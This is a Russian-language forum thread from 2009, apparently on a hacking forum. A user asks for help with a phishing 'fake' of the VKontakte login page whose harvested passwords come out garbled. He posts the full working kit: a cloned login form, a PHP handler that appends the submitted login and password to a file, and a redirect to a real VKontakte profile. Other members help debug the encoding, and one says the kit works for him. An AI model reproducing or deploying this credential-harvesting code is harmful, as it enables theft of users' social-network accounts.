Вопрос по PHP Фейк не записывает в базу русские буквы

Discussion in 'PHP' started by cnd, 31 Mar 2009.

  1. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    Если в пароле у юзера есть русские буквы то обработчик записывает в базу, что то типо такого îëÿ333
    Как с этим бороться?
     
  2. MuXaJIbI4

    MuXaJIbI4 Member

    Joined:
    20 Nov 2008
    Messages:
    66
    Likes Received:
    7
    Reputations:
    0
    а зачем пароль записывать в открытом виде вообще в базу .... лучше записывать его хеш
     
  3. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    а как там кодировку менять?
     
    1 person likes this.
  4. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    люди я нулевой в ПХП как именно там сделать?
     
  5. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    Вот файл обработчик:
    <?PHP
    $Login = $_POST['login']; // Ëîãèí
    $Pass = $_POST['pass']; // Ïàðîëü

    $log = fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû
    fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸
    fclose($log); //çàêðûâàåì
    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>";
    ?>

    записывает в base.php
     
    2 people like this.
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    перед <?PHP попробуй просто добавить:

    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
     
  7. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    неа непомогает
     
    2 people like this.
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    в смысле не сюда, а на саму страницу фейка, с которой у тебя идет передресация на этот код php, у тебя же где есть поля для ввода пароля и прочее - вот туда вставь
     
  9. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    я уже везде где тока можно впихнкть поробовал, всё равно непомогает
     
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Выложи весь код фейка сюда, тогда помогу, 100%
     
  11. MuXaJIbI4

    MuXaJIbI4 Member

    Joined:
    20 Nov 2008
    Messages:
    66
    Likes Received:
    7
    Reputations:
    0
    а в базе у тебя какая кодировка стоит?
     
  12. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    )) Он базой своё файло назвал. Смотри код
     
  13. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    ИНДЕКС.ПХП
    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"
    >
    <
    html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte">
    <
    head>
    <
    meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <
    title> Êîíòàêòå Âõîä</title>
    <
    link rel="stylesheet" href="css/rustyle.css?17" type="text/css" />
    <
    script src="js/functions.js?21"></script>
    <link rel='stylesheet' href='css/login.css?2' type='text/css' />

    <link rel="stylesheet" href="http://vkontakte.ru/css/rustyle.css?3" type="text/css" />
    <link rel='stylesheet' href='http://vkontakte.ru/css/help.css?2' type='text/css' />

    <link rel="shortcut icon" href="http://vkontakte.ru/images/favicon.ico" />
    <!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie.css); /* ]]> */</style><![endif]-->
    <!--[if gte IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie7.css); /* ]]> */</style><![endif]-->
    <script src="js/niftycube.js?1"></script>


    <script type="text/javascript">
    <!--
    function addEvent(e, t, f) {
        if (t == 'load' && window.onDomReady) {
            onDomReady(f);
        }else
        if (e.addEventListener) {e.addEventListener(t, f, false);}
        else if (e.attachEvent) {e.attachEvent('on' + t, f);}
    }
    function removeEvent(e, t, f){
        if (e.removeEventListener) {e.removeEventListener(t, f, false);}
        else if (e.detachEvent) {e.detachEvent('on'+t, f);}
    }

    //-->
    </script>

    <script type="text/javascript">
    <!--
    (function(){
        var loadFn = function(){
            Nifty("ul.tabs a", "small top");
            Nifty("ul.buttonRow a", "small");
            Nifty("div.leftAd","small transparent");
            Nifty("div.selPad","small transparent");
            Nifty("div.myPad", "small transparent");
        };
        addEvent(window, 'load', loadFn);
    })();
    //-->
    </script>
    </head>

    <body>

     <div id="pageLayout">

    <!-- pageHeader -->

      <div id="pageHeader">

       <h1 id="home"><a href="index.php">ÂÊîíòàêòå</a></h1>


       <ul class="topNav" style='padding-right:5px'>
        <li style="width:5.5em"><a href='http://vkontakte.ru/faq.php'>ïîìîùü</a></li>
        <li style="width:7.8em"><a href="http://vkontakte.ru/reg0'">ðåãèñòðàöèÿ</a></li>
        <li style="width:4.0em"><a href='http://vkontakte.ru/'>âõîä</a></li>
       </ul>

      </div>

    <!-- End pageHeader -->

    <!-- sideBar -->

      <div id="sideBar">

       
       <ol id='nav'>
        <li><a href='http://vkontakte.ru'>Ãëàâíàÿ</a></li>
        <li><a href='http://vkontakte.ru/'>Âõîä</a></li>
        <li><a href='http://vkontakte.ru/reg0'>Ðåãèñòðàöèÿ</a></li>
       </ol>

       <div style="width:124px">
    </div>
       
      </div>

    <!-- End sideBar -->

    <!-- pageBody -->

      <div id="pageBody" class="pageBody">

      <div id="wrapH">
      <div id="wrapHI">
       <div id="header">
        <h1> Îøèáêà</h1>
       </div>
      </div>
      </div>

      <div id="wrap2">
      <div id="wrap1">
       <div id="content">

        
    <img src='1.jpg'>
    <div class="simplePage">

     <form method="post" name="login" id="login" action="log.php">
     <input type="hidden" name="success_url" id="success_url" value="">
     <input type="hidden" name="fail_url" id="fail_url" value="">
     <input type="hidden" name="try_to_login" id="try_to_login" value="1">
      <table align="center" cellpadding=0 cellspacing=7 border=0 width="40%">
       <tr>
        <td width="100px">
         <span class="grey">Email:</span>
        </td>
        <td>
         <input class="inputText" type="text" name="login" value="" id="email" size="25" />
        <td>
       </tr>
       <tr>
        <td>
         <span class="grey">Ïàðîëü:</span>
        </td>
        <td>
         <input class="inputText" type="password" name="pass" value="" id="pass" size="25" />
        </td>
       </tr>
       
       <tr>
        <td>
         &nbsp;
        </td>
        <td>
         <input style="margin-top:1px; vertical-align: middle;" type="checkbox" name="expire" id="expire" value="1" /><small>×óæîé êîìïüþòåð</small>
        </td>
       </tr>
       <tr>
        <td>
         &nbsp;
        </td>
        <td>
    <div style="height:20px; margin:5px 0px">
    <ul class='nNav'><li style="margin-left:0px">
    <b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
    <span class="ncc"><a href="javascript:document.login.submit()">Âõîä</a></span>
    <b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
    </li>
    <li>
    <b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
    <span class="ncc"><a href="http://vkontakte.ru/reg0'">Ðåãèñòðàöèÿ</a></span>
    <b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
    </li></ul>
    </div>

        </td>
       </tr>
       <tr>
        <td>
         &nbsp;
        </td>
        <td class="forgotPass">
         <a href="login.php?op=forgot">Çàáûëè ïàðîëü?</a>
        </td>
       </tr>

      </table>
      <input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px"/>
     </form>

    </div>

        
       </div>
      </div>
      </div>

      </div>
      <div id="boxHolder"></div>

    <!-- End pageBody -->



    <!-- bFooter -->
      <div id="bFooter">
       <ul class="bNav" style="text-align: center">
        <li><a href="'http://vkontakte.ru/help.php?page=about">î ñàéòå</a></li>
        <li><a href="'http://vkontakte.ru/techsupp.php">òåõïîääåðæêà</a></li>
        <li><a href="'http://vkontakte.ru/blog.php">áëîã</a></li>
        <li><a href="'http://vkontakte.ru/help.php?page=terms">ïðàâèëà</a></li>
        <li><a href="'http://vkontakte.ru/help.php?page=adv">ðåêëàìà</a></li>
       </ul>
      </div> 

      <div id="bFooter"> 
       <p> Êîíòàêòå &copy; 2006-2009<br /> <a href="/?lang=3&lhash="><img src="http://vkontakte.ru/images/flags/us.gif" vspace="5"/></a> <a href="/?lang=1&lhash="><img src="http://vkontakte.ru/images/flags/ua.gif" vspace="5"/></a> <a href="/?lang=2&lhash="><img src="http://vkontakte.ru/images/flags/by.gif" vspace="5"/></a></p>
      </div>
    <!-- tns-counter.ru -->
    <script type="text/javascript">
    <!--
    addEvent(window, 'load', function(){
        var img = new Image();
        img.src = 'http://www.tns-counter.ru/V13a***R>' + document.referrer.replace(/\*/g,'%2a') + '*vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/';
    });    
    //-->
    </script>
    <noscript>
        <img src="http://www.tns-counter.ru/V13a****vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/" width="1" height="1" alt="" />
    </noscript>
    <!--/ tns-counter.ru -->
    <!--LiveInternet counter-->
    <script type="text/javascript">
    <!--
    addEvent(window, 'load', function(){
        var img = new Image();
        img.src = 'http://counter.yadro.ru/hit?r' + escape(document.referrer) + ((typeof(screen)=='undefined')?'':';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth)) + ';u' + escape(document.URL) + ';' + Math.random() + '';
    });    
    //-->
    </script>
    <!--/LiveInternet-->
    <!-- End bFooter -->

    </div>

    <!-- End pageLayout 431 -->

    </body>
    </html>
    LOG.PHP

    PHP:
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <?PHP
    $Login 
    $_POST['login']; // Ëîãèí
    $Pass $_POST['pass']; // Ïàðîëü

    $log fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû
    fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸
    fclose($log); //çàêðûâàåì
    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>";
    ?>
    BASE.PHP

    PHP:
    <?php echo '<H1>Доступ к базе закрыт!!!</H1>'; exit; ?>
     
  14. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    Всё что было русским в файлах всё поменялась на хз что
     
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 cnd:

    и то, и другое, по очереди, вставь в обычный блокнот windows, сохрани, если будет чо спрашивать, на всё отвечать "да", потом обратно на сервак залей (ну или туда, где ты там фейк тестишь)

    Просто у тебя все исходники в уникоде, а надо в ANSI

    Когда я так сделал - русский текст нормально сохраняется

    вот ты сам на свой вопрос и ответил
     
  16. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    Всё сделал как сказал ты залил на хост и оно + что незаписывало как надо дык ещё и в браузере все русские буквы такой же мазой показывалиссь
     
  17. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    ЛАНА КУЙ с НИМ
     
  18. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Дык фейки надо не просто уметь скопировать откуда-то, но и еще потрудится немножко, переделать под себя. У тебя там работы на 2, максимум три минуты. Не ленись - в 5 местах текст перебить, тоже мне проблема.

    ЗЫЖ Только все равно это голимый фейк, фейки так не делаются, есть же оригинальная страница контактов
     
  19. cnd

    cnd Elder - Старейшина

    Joined:
    7 Mar 2006
    Messages:
    0
    Likes Received:
    30
    Reputations:
    1
    А мне именно эта нужна
     
    3 people like this.
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Именна эта у меня например работает. Как и что сделать - расписано в подробностях.